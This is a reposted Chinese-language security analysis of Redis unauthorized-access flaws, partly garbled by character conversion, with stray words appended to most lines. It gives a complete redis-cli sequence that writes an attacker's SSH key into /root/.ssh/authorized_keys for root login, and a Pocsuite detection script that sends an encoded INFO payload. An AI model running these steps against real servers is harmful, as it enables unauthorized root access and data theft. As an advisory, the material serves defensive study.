文章轉自http://blog.csdn.net/whs_321/article/details/51734602html
http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/python
Redis是一個開源的使用ANSI C語言編寫、支持網絡、可基於內存亦可持久化的日誌型、Key-Value數據庫,並提供多種語言的API。git
Redis 未受權訪問的問題是一直存在的問題,知道創宇安全研究團隊歷史上也作過相關的應急,今日,又出現 Redis 未受權訪問配合 SSH key 文件被利用的狀況,致使一大批 Redis 服務器被黑,今天咱們來簡要的分析下。github
Redis 默認狀況下,會綁定在 0.0.0.0:6379,這樣將會將 Redis 服務暴露到公網上,若是在沒有開啓認證的狀況下,能夠致使任意用戶在能夠訪問目標服務器的狀況下未受權訪問 Redis 以及讀取 Redis 的數據。攻擊者在未受權訪問 Redis 的狀況下能夠利用 Redis 的相關方法,能夠成功在 Redis 服務器上寫入公鑰,進而可使用對應私鑰直接登陸目標服務器。redis
Redis 安全模型的觀念是: 「請不要將 Redis 暴露在公開網絡中, 由於讓不受信任的客戶接觸到 Redis 是很是危險的」 。數據庫
Redis 做者之因此放棄解決未受權訪問致使的不安全性是由於, 99.99% 使用 Redis 的場景都是在沙盒化的環境中, 爲了0.01%的可能性增長安全規則的同時也增長了複雜性, 雖然這個問題的並非不能解決的, 可是這在他的設計哲學中還是不划算的。安全
由於其餘受信任用戶須要使用 Redis 或者由於運維人員的疏忽等緣由,部分 Redis 綁定在 0.0.0.0:6379,而且沒有開啓認證(這是Redis 的默認配置),若是沒有進行採用相關的策略,好比添加防火牆規則避免其餘非信任來源 ip 訪問等,將會致使 Redis 服務直接暴露在公網上,致使其餘用戶能夠直接在非受權狀況下直接訪問Redis服務並進行相關操做。服務器
利用 Redis 自身的提供的 config 命令,能夠進行寫文件操做,攻擊者能夠成功將本身的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而能夠直接使用對應的私鑰登陸目標服務器。網絡
Redis 暴露在公網(即綁定在0.0.0.0:6379,目標IP公網可訪問),而且沒有開啓相關認證和添加相關安全策略狀況下可受影響而致使被利用。app
經過ZoomEye 的搜索結果顯示,有97707在公網能夠直接訪問的Redis服務。
根據 ZoomEye 的探測,全球無驗證可直接利用Redis 分佈狀況以下:
全球無驗證可直接利用Redis TOP 10國家與地區:
首先在本地生產公私鑰文件:
1
|
$ssh-keygen –t rsa
|
而後將公鑰寫入 foo.txt 文件
1
|
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
|
再鏈接 Redis 寫入文件
1
2
3
4
5
6
7
8
9
10
11
|
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK
|
這樣就能夠成功的將本身的公鑰寫入 /root/.ssh 文件夾的 authotrized_keys 文件裏,而後攻擊者直接執行:
1
|
$ ssh –i id_rsa root@192.168.1.11
|
便可遠程利用本身的私鑰登陸該服務器。
固然,寫入的目錄不限於 /root/.ssh 下的authorized_keys,也能夠寫入用戶目錄,不過 Redis 不少以 root 權限運行,因此寫入 root 目錄下,能夠跳過猜用戶的步驟。
Redis 做爲數據庫,保存着各類各樣的數據,若是存在未受權訪問的狀況,將會致使數據的泄露,其中包含保存的用戶信息等。
Redis能夠嵌套Lua腳本的特性將會致使代碼執行, 危害同其餘服務器端的代碼執行, 樣例以下 一旦攻擊者可以在服務器端執行任意代碼, 攻擊方式將會變得多且複雜, 這是很是危險的.
經過Lua代碼攻擊者能夠調用 redis.sha1hex() 函數,惡意利用 Redis 服務器進行 SHA-1 的破解。
經過 Redis 的 INFO 命令, 能夠查看服務器相關的參數和敏感信息, 爲攻擊者的後續滲透作鋪墊。
能夠看到泄露了不少 Redis 服務器的信息, 有當前 Redis 版本, 內存運行狀態, 服務端個數等等敏感信息。
可使用Pocsuite(http://github.com/knownsec/pocsuite)執行如下的代碼能夠用於測試目標地址是否存在未受權的Redis服務。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
class TestPOC(POCBase):
vulID = '89339'
version = '1'
author = ['Anonymous']
vulDate = '2015-10-26'
createDate = '2015-10-26'
updateDate = '2015-10-26'
references = ['http://sebug.net/vuldb/ssvid-89339']
name = 'Redis 未受權訪問 PoC'
appPowerLink = 'http://redis.io/'
appName = 'Redis'
appVersion = 'All'
vulType = 'Unauthorized access'
desc = '''
redis 默認不須要密碼便可訪問,黑客直接訪問便可獲取數據庫中全部信息,形成嚴重的信息泄露。
'''
samples = ['']
def _verify(self):
result = {}
payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
s = socket.socket()
socket.setdefaulttimeout(10)
try:
host = urlparse.urlparse(self.url).netloc
port = 6379
s.connect((host, port))
s.send(payload)
recvdata = s.recv(1024)
if recvdata and 'redis_version' in recvdata:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Port'] = port
except:
pass
s.close()
return self.parse_attack(result)
def _attack(self):
return self._verify()
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register(TestPOC)
|